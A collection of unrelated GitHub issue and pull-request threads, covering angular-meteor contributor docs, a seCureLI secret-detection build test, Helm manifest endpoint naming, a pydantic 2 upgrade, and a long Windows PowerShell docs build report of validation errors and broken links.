Yago/docs

@Urigo
It took me a while to figure this out, so I think it is a good idea to add: step by step instructions to setup your developer environment to make contributions.

Coverage remained the same when pulling cdbd480ebab75ed9cde6a20af1da4556db09ec11 on yago/docs into 7fca0ffc4bbe1b42ddb04a9e304ad1b74b090421 on master.

Coverage remained the same when pulling 62c0c240e6a4a30c9af4a16c7282d41ffa6f96b1 on yago/docs into 7fca0ffc4bbe1b42ddb04a9e304ad1b74b090421 on master.

Coverage remained the same when pulling f221b62d5c7d0472a41ffab9a0d72bb4a5799074 on yago/docs into 7fca0ffc4bbe1b42ddb04a9e304ad1b74b090421 on master.

BTW: I seen in other projects a CONTRIBUTING.md file where they put all the contribution notes. I feel that is a good idea to create one and move all this out of the homepage.

That's cool!
But the last part wasn't so clear to me.
Isn't the way to do it is to create a 'packages' folder under your project directory and then just create a shortcut to the angular-meteor folder?
That way you still working with a package called angular-meteor but it's your own local angular-meteor..
What do you think?

You can name it my-package or  angular-meteor it works either way. I guess I tried to explain by example that you can call it whatever you want. The benefit of having a central place for your local packages is that you can add them to several projects without having to copy the entire folder. I haven't try the option to create a packages folder and just dump the project. Sounds easier to me!

OK, I'm merging and changing it a bit
Thanks!

ok great! thank you I'm trying this out.

Cool, then let me know if my explanation is OK

Ok, let me simplify this.


Build Test against sample repos: Typescript

Description
As a dev on the seCureLI team, I want the build pipeline to check the tool against known ‘bad state’ repos, to ensure that the tool is not only passing unit tests and ‘not failing others’, but also that it is actively catching security issues, to ensure that the project is doing what it was designed to do.
Technical Details

Will require finding, or creating git repos that the pipeline can access that have secrets embedded in them.
create repo as part of the Secure Build project
Language Supported: Typescript
Should only cover detect-secrets errors

Acceptance Criteria

Repo identified or created with the supporting language with 1+ secrets saved to it (fake secrets, of course)
When the tool runs and successfully throws and error (expected behavior) the build does not fail.
If the tool runs and does NOT throw an error (unexpected behavior) the build fails, as the tool did not properly detect the error.

Closing out as this will be addressed in https://github.com/slalombuild/secureli/issues/129.


Clicking "Link" on an actor does not persist to the prototype token

Clicking the little link icon doesn't appear to do anything.

When clicked, the prototype token remains unlinked, and when you close and reopen the actor sheet, the button is unclicked again.
If you enable the option within the token, the link icon lights up when you next open it. But then clicking it to unlink it once again does nothing; the prototype token is unaffected and the icon resets to "linked" when you next open the actor sheet.
This is probably best described by video:
October-23 (Wednesday), 22;21;03.webm
Unsure what's going on here, but please let me know if I can help by providing any additional diagnostics you might need.

I have the same exact problem. I tried with all modules off but this one, same thing happens. Sad, because I used this one a lot.


Helm charts generate wrong endpoint names

This is for today's HEAD of GENAIInfra.
Use-case:

Update manifests: cd helm-charts; ./update_manifests.sh
Check generated service endpoint names: cd ../microservices-connector/config/manifests/; grep ENDPOINT *.yaml
Deploy generated manifests to cluster and check resulting service names: kubectl get svc

Expected outcome:

Generated ENDPOINT variables match service names for given endpoints, and services work

Actual outcome:

Service logs are full of timeouts / queries failing
Service names in ENDPOINT variables are (wrongly) prefixed with the calling service name

E.g. TGI_LLM_ENDPOINT variable value in llm-uservice.yaml manifest is http://llm-uservice-tgi instead of correct http://tgi (.default.svc.cluster.local)

This seems to be a bug in the script, not in the Helm charts?
When I generate manifests directly with helm template chatqna chatqna --skip-tests ... things match.

The generated manifest files from ./update_manifests.sh are for GMC USE ONLY. I wouldn't suggest to use them directly. If you want to deploy each component microservice separately, please use helm charts under helm-charts/common directly.
@eero-t you're absolutely right. The devil is in the ./update_manifests.sh. We'll discuss with GMC folks in next cycle to see if we can make the generated manifest files usable for non GMC users.

I see. "Generate manifests from Helm Charts" section in the directory README only talks about looking into update_manifests.sh, not about using it... :-)

Btw. the table in that README has has wrong link name ("Code generation") for chatqna.

Fixes in README to avoid confusion
#343


Upgrade to pydantic 2

This PR integrate support for pydantic 2 for the lib.
Any comment is welcome to improve it.

Hello @ErhoSen , is it possible that you merge or review it ?


Update games.txt

The automatic updater is broken. I will update manually. Closing this pull request.


Fix storagereplica examples

Fix for https://github.com/MicrosoftDocs/windows-powershell-docs/issues/2530

Docs Build status updates of commit 101f1ea:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:x:Error

Details

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:x:Error

Details

docset/winserver2019-ps/uev/Export-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Get-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Enable-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Disable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Get-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Set-UevTemplateProfile.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Enable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Enable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Set-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Set-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Restore-UevUserSetting.yml
:warning:Warning

Details

docset/winserver2019-ps/failoverclusters/Add-ClusterDisk.yml
:warning:Warning

Details

docset/winserver2022-ps/failoverclusters/Add-ClusterDisk.yml
:warning:Warning

Details

docset/winserver2022-ps/ipamserver/Import-IpamAddress.yml
:warning:Warning

Details

docset/winserver2022-ps/ipamserver/Import-IpamRange.yml
:warning:Warning

Details

docset/winserver2022-ps/ipamserver/Invoke-IpamGpoProvisioning.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Get-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Open-NetGPO.yml
:warning:Warning

Details

docset/winserver2019-ps/networktransition/Get-NetTeredoConfiguration.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Set-NetFirewallProfile.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Get-NetFirewallAddressFilter.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Get-NetFirewallApplicationFilter.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Set-NetFirewallInterfaceTypeFilter.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Set-NetFirewallApplicationFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/New-NetIPsecQuickModeCryptoSet.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/New-NetIPsecQuickModeCryptoSet.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Set-NetFirewallInterfaceFilter.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Get-NetFirewallPortFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Update-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/New-NetIPsecPhase1AuthSet.yml
:warning:Warning

Details

docset/winserver2022-ps/remoteaccess/Add-DAClient.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/New-NetIPsecPhase1AuthSet.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Update-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2019-ps/remoteaccess/Get-DAOtpAuthentication.yml
:warning:Warning

Details

docset/winserver2019-ps/remoteaccess/Get-VpnS2SInterfaceStatistics.yml
:warning:Warning

Details

docset/winserver2019-ps/remoteaccess/Enable-DAOtpAuthentication.yml
:warning:Warning

Details

docset/winserver2022-ps/remoteaccess/Enable-DAOtpAuthentication.yml
:warning:Warning

Details

docset/winserver2022-ps/remoteaccess/Get-VpnS2SInterfaceStatistics.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Copy-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/New-NetIPsecPhase2AuthSet.yml
:warning:Warning

Details

docset/winserver2019-ps/networktransition/Get-NetNatTransitionConfiguration.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/New-NetIPsecPhase2AuthSet.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Get-NetFirewallProfile.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Set-NetIPsecPhase2AuthSet.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/Sync-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2022-ps/remoteaccess/Get-DAEntryPoint.yml
:warning:Warning

Details

docset/winserver2019-ps/networktransition/Get-NetTeredoState.yml
:warning:Warning

Details

docset/winserver2022-ps/netsecurity/New-NetIPsecRule.yml
:warning:Warning

Details

This comment lists only the first 50 files in the pull request.

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md

Line 0, Column 0: [Error-MAML2Yaml_LoadFileFailed]

Failed to load file: W:/gl3p-s/docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md:52:(162) '```
PS C:\>Set-SRNetworkConstraint -SourceCompute...'
 Expect Heading, please try to use PlatyPS validate the content

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md

Line 0, Column 0: [Error-MAML2Yaml_LoadFileFailed]

Failed to load file: W:/gl3p-s/docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md:52:(162) '```
PS C:\>Set-SRNetworkConstraint -SourceCompute...'
 Expect Heading, please try to use PlatyPS validate the content

docset/winserver2019-ps/uev/Export-UevConfiguration.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevConfiguration.yml'.
Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2019-ps/uev/Get-UevAppxPackage.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevAppxPackage.yml'.
Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Disable-UevAppxPackage.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Enable-UevAppxPackage.yml'.

docset/winserver2022-ps/uev/Enable-UevAppxPackage.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevAppxPackage.yml'.
Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Disable-UevAppxPackage.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevAppxPackage.yml'.

docset/winserver2022-ps/uev/Disable-UevTemplate.yml

Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2019-ps/uev/Get-UevConfiguration.yml

Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevConfiguration.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2019-ps/uev/Set-UevTemplateProfile.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.

docset/winserver2019-ps/uev/Enable-UevTemplate.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Disable-UevTemplate.yml'.
Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2022-ps/uev/Enable-UevTemplate.yml

Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2019-ps/uev/Set-UevConfiguration.yml

Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevConfiguration.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2022-ps/uev/Set-UevConfiguration.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevConfiguration.yml'.
Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevConfiguration.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Export-IpamRange.yml'.

docset/winserver2022-ps/netsecurity/Get-NetIPsecRule.yml

Line 82, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.

docset/winserver2022-ps/netsecurity/Open-NetGPO.yml

Line 26, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.

docset/winserver2019-ps/networktransition/Get-NetTeredoConfiguration.yml

Line 21, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetTeredoConfiguration.yml'.

docset/winserver2022-ps/netsecurity/Set-NetFirewallProfile.yml

Line 30, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.

docset/winserver2022-ps/netsecurity/Get-NetFirewallAddressFilter.yml

Line 48, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetFirewallAddressFilter.yml'.

Line 28, Column 9: [Warning-file-not-found] Invalid file link: './Remove-VpnS2SInterface.yml'.
Line 32, Column 9: [Warning-file-not-found] Invalid file link: './Set-VpnS2SInterface.yml'.

docset/winserver2019-ps/remoteaccess/Enable-DAOtpAuthentication.yml

Line 32, Column 9: [Warning-file-not-found] Invalid file link: './Get-RemoteAccessRadius.yml'.
Line 36, Column 9: [Warning-file-not-found] Invalid file link: './Set-DAServer.yml'.

docset/winserver2022-ps/remoteaccess/Enable-DAOtpAuthentication.yml

Line 30, Column 9: [Warning-file-not-found] Invalid file link: './Add-RemoteAccessRadius.yml'.
Line 38, Column 9: [Warning-file-not-found] Invalid file link: './Set-RemoteAccessRadius.yml'.

docset/winserver2022-ps/remoteaccess/Get-VpnS2SInterfaceStatistics.yml

Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Clear-VpnS2SInterfaceStatistics.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Connect-VpnS2SInterface.yml'.
Line 24, Column 9: [Warning-file-not-found] Invalid file link: './Get-VpnAuthProtocol.yml'.
Line 26, Column 9: [Warning-file-not-found] Invalid file link: './Get-VpnS2SInterface.yml'.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel

Docs Build status updates of commit 0999750:
:x: Validation status: errors
Please follow instructions here which may help to resolve issue.

File
Status
Preview URL
Details

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md
:x:Error

Details

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md
:x:Error

Details

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md
:x:Error

Details

docset/winserver2022-ps/uev/Disable-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Disable-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Get-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Disable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Unregister-UevTemplate.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Get-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Test-UevTemplate.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Update-UevTemplate.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Set-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Restore-UevUserSetting.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Disable-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Get-UevTemplate.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Disable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Enable-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Disable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Set-UevTemplateProfile.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Set-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Enable-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Export-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Export-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Clear-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Clear-UevAppxPackage.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Register-UevTemplate.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Enable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Enable-UevTemplate.yml
:warning:Warning

Details

docset/winserver2016-ps/uev/Clear-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2019-ps/uev/Clear-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2022-ps/uev/Clear-UevConfiguration.yml
:warning:Warning

Details

docset/winserver2016-ps/failoverclusters/Add-ClusterDisk.yml
:warning:Warning

Details

docset/winserver2019-ps/failoverclusters/Add-ClusterDisk.yml
:warning:Warning

Details

docset/winserver2022-ps/failoverclusters/Add-ClusterDisk.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Set-NetFirewallRule.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Get-NetFirewallServiceFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Get-NetFirewallPortFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Set-NetFirewallInterfaceTypeFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/nettcpip/Remove-NetTransportFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Set-NetFirewallPortFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Sync-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Copy-NetIPsecQuickModeCryptoSet.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Get-NetFirewallSecurityFilter.yml
:warning:Warning

Details

docset/winserver2019-ps/nettcpip/Remove-NetRoute.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Update-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2019-ps/remoteaccess/Get-VpnS2SInterface.yml
:warning:Warning

Details

docset/winserver2019-ps/nettcpip/New-NetRoute.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Disable-NetIPsecRule.yml
:warning:Warning

Details

docset/winserver2019-ps/nettcpip/Remove-NetIPAddress.yml
:warning:Warning

Details

docset/winserver2019-ps/netsecurity/Copy-NetFirewallRule.yml
:warning:Warning

Details

This comment lists only the first 50 files in the pull request.

docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md

Line 0, Column 0: [Error-MAML2Yaml_LoadFileFailed]

Failed to load file: W:/exg0-s/docset/winserver2016-ps/storagereplica/Set-SRNetworkConstraint.md:52:(162) '```
PS C:\>Set-SRNetworkConstraint -SourceCompute...'
 Expect Heading, please try to use PlatyPS validate the content

docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md

Line 0, Column 0: [Error-MAML2Yaml_LoadFileFailed]

Failed to load file: W:/exg0-s/docset/winserver2019-ps/storagereplica/Set-SRNetworkConstraint.md:52:(162) '```
PS C:\>Set-SRNetworkConstraint -SourceCompute...'
 Expect Heading, please try to use PlatyPS validate the content

docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md

Line 0, Column 0: [Error-MAML2Yaml_LoadFileFailed]

Failed to load file: W:/exg0-s/docset/winserver2022-ps/storagereplica/Set-SRNetworkConstraint.md:52:(162) '```
PS C:\>Set-SRNetworkConstraint -SourceCompute...'
 Expect Heading, please try to use PlatyPS validate the content

docset/winserver2022-ps/uev/Disable-UevAppxPackage.yml

Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Enable-UevAppxPackage.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevAppxPackage.yml'.

docset/winserver2019-ps/uev/Disable-UevAppxPackage.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevAppxPackage.yml'.

docset/winserver2016-ps/uev/Get-UevAppxPackage.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevAppxPackage.yml'.

docset/winserver2019-ps/uev/Disable-UevTemplate.yml

Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.

docset/winserver2019-ps/uev/Unregister-UevTemplate.yml

Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.

docset/winserver2016-ps/uev/Get-UevConfiguration.yml

Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2016-ps/uev/Test-UevTemplate.yml

Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 24, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 26, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2019-ps/uev/Update-UevTemplate.yml

Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.

docset/winserver2016-ps/uev/Set-UevConfiguration.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2022-ps/uev/Restore-UevUserSetting.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.

docset/winserver2016-ps/uev/Disable-UevAppxPackage.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevAppxPackage.yml'.

docset/winserver2016-ps/uev/Get-UevTemplate.yml

Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 24, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2022-ps/uev/Disable-UevTemplate.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Enable-UevTemplate.yml'.
Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2019-ps/uev/Enable-UevAppxPackage.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevAppxPackage.yml'.

docset/winserver2016-ps/uev/Disable-UevTemplate.yml

Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2022-ps/uev/Set-UevTemplateProfile.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.

docset/winserver2022-ps/uev/Set-UevConfiguration.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevConfiguration.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.
Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Export-UevConfiguration.yml'.

docset/winserver2016-ps/uev/Enable-UevAppxPackage.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Clear-UevAppxPackage.yml'.

docset/winserver2016-ps/uev/Export-UevConfiguration.yml

Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2019-ps/uev/Export-UevConfiguration.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevConfiguration.yml'.
Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Set-UevConfiguration.yml'.
Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2019-ps/uev/Clear-UevAppxPackage.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevAppxPackage.yml'.

docset/winserver2022-ps/uev/Clear-UevAppxPackage.yml

Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Enable-UevAppxPackage.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevAppxPackage.yml'.

docset/winserver2022-ps/uev/Register-UevTemplate.yml

Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Enable-UevTemplate.yml'.
Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2016-ps/uev/Enable-UevTemplate.yml

Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 20, Column 9: [Warning-file-not-found] Invalid file link: './Unregister-UevTemplate.yml'.
Line 22, Column 9: [Warning-file-not-found] Invalid file link: './Update-UevTemplate.yml'.

docset/winserver2019-ps/uev/Enable-UevTemplate.yml

Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevTemplate.yml'.
Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Register-UevTemplate.yml'.
Line 18, Column 9: [Warning-file-not-found] Invalid file link: './Test-UevTemplate.yml'.

docset/winserver2016-ps/uev/Clear-UevConfiguration.yml

Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2019-ps/uev/Clear-UevConfiguration.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevConfiguration.yml'.
Line 10, Column 9: [Warning-file-not-found] Invalid file link: './Set-UevConfiguration.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.

docset/winserver2022-ps/uev/Clear-UevConfiguration.yml

Line 8, Column 9: [Warning-file-not-found] Invalid file link: './Get-UevConfiguration.yml'.
Line 12, Column 9: [Warning-file-not-found] Invalid file link: './Import-UevConfiguration.yml'.
Line 14, Column 9: [Warning-file-not-found] Invalid file link: './Export-UevConfiguration.yml'.

docset/winserver2016-ps/failoverclusters/Add-ClusterDisk.yml

Line 29, Column 9: [Warning-file-not-found] Invalid file link: '../storage/Get-Disk.yml'.

docset/winserver2019-ps/failoverclusters/Add-ClusterDisk.yml

Line 31, Column 9: [Warning-file-not-found] Invalid file link: '../storage/Get-VirtualDisk.yml'.

docset/winserver2022-ps/failoverclusters/Add-ClusterDisk.yml

Line 29, Column 9: [Warning-file-not-found] Invalid file link: '../storage/Get-Disk.yml'.
Line 31, Column 9: [Warning-file-not-found] Invalid file link: '../storage/Get-VirtualDisk.yml'.

docset/winserver2019-ps/netsecurity/Set-NetFirewallRule.yml

Line 50, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.
Line 56, Column 9: [Warning-file-not-found] Invalid file link: './Show-NetFirewallRule.yml'.

docset/winserver2019-ps/netsecurity/Get-NetFirewallServiceFilter.yml

Line 34, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.

docset/winserver2019-ps/netsecurity/Get-NetFirewallPortFilter.yml

Line 40, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.

docset/winserver2019-ps/netsecurity/Set-NetFirewallInterfaceTypeFilter.yml

Line 38, Column 9: [Warning-file-not-found] Invalid file link: './Set-NetIPsecRule.yml'.

docset/winserver2019-ps/nettcpip/Remove-NetTransportFilter.yml

Line 16, Column 9: [Warning-file-not-found] Invalid file link: './Get-NetTCPSetting.yml'.

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
